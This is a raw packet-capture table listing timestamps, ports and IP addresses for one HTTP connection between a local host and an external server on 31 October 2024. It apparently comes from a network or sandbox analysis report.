Oct 31, 2024 23:37:17.524406910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524418116 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524427891 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524429083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524441004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524451971 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524462938 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524486065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524492979 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524498940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524517059 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524521112 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524528980 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524539948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524550915 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524561882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524568081 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524574041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524585962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524594069 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524596930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524605036 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524626017 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524647951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524660110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524671078 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524689913 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524697065 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524856091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524867058 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524877071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524888039 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524895906 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524904966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524916887 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524925947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524929047 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524938107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524950027 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524960995 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524960995 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524971962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524981976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524986029 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524997950 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524997950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525012970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525021076 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525024891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525036097 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525043964 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525048018 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525060892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525072098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525073051 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525087118 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525089025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525103092 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525130033 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525132895 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525146961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525156021 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525162935 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525167942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525178909 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525190115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525192976 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525202036 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525213957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525218964 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525227070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525228977 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525238991 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525249958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525264025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525273085 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525284052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525291920 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525295019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525315046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525319099 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525327921 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525338888 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525348902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525353909 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525362015 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525374889 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525386095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525388002 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525397062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525398970 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525409937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525418997 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525448084 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525634050 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525645018 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525660038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525671005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525672913 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525682926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525695086 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525705099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525712967 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525717020 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525731087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525738955 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525742054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525760889 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525763035 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525772095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525780916 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525784016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525804996 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525815010 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525825977 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525837898 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525849104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525856018 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525860071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525876999 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525891066 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.525962114 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525974035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525984049 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.525995016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526004076 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526005983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526017904 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526029110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526038885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526042938 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526050091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526061058 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526071072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526072025 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526082039 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526097059 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526106119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526118040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526128054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526133060 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526139975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526150942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526158094 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526163101 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526176929 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526180983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526191950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526202917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526207924 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526213884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526225090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526232958 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526236057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526253939 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526257992 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526266098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526271105 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526278019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526289940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526294947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526300907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526308060 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526312113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526320934 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526324987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526336908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526346922 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526349068 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526356936 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526360989 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526372910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526381969 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526384115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526396036 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526407957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526410103 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526427984 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526618004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526659966 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526767015 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526777983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526788950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526799917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526809931 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526820898 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526833057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526834965 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526840925 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526844978 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526850939 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526858091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526870012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526879072 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526879072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526892900 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526911974 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526921988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526926994 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526933908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526945114 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526951075 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526957989 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526962996 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.526969910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526988029 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.526993036 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527000904 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527012110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527019024 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527023077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527035952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527040005 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527053118 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527055979 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527075052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527087927 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527095079 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527101040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527107954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527112007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527117968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527122974 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527132988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527137995 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527143955 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527156115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527158022 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527168036 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527179003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527192116 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527193069 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527203083 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527203083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527216911 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527228117 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527228117 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527239084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527250051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527261019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527264118 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527270079 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527272940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527285099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527293921 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527297020 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527308941 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527321100 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527324915 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527364016 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527709007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527720928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527730942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527743101 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527750015 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527755976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527767897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527779102 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527779102 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527790070 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527791977 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527805090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527813911 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527815104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527827024 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527856112 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527858019 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527867079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527879000 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527879953 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527890921 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527908087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527911901 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527920008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527928114 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527931929 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527944088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527955055 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527957916 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527967930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527978897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527987003 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.527991056 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.527995110 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.528002024 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.528014898 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.528024912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.528036118 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.528038979 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.528048992 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.528054953 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.528062105 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.528073072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.528080940 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.528085947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.528100967 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.528122902 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.742959976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.743000984 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.912985086 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.918155909 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.918170929 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.918183088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.918205023 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.926950932 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.931929111 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.931973934 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.931982994 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.931984901 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932024956 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932045937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932056904 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932066917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932077885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932082891 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932116985 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932122946 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932130098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932140112 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932151079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932161093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932162046 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932174921 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932256937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932269096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932279110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932290077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932302952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932307005 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932313919 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932326078 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932336092 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932346106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932349920 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932356119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932358980 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932382107 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.932391882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932403088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.932411909 CET	80	49739	185.215.113.16	192.168.2.4
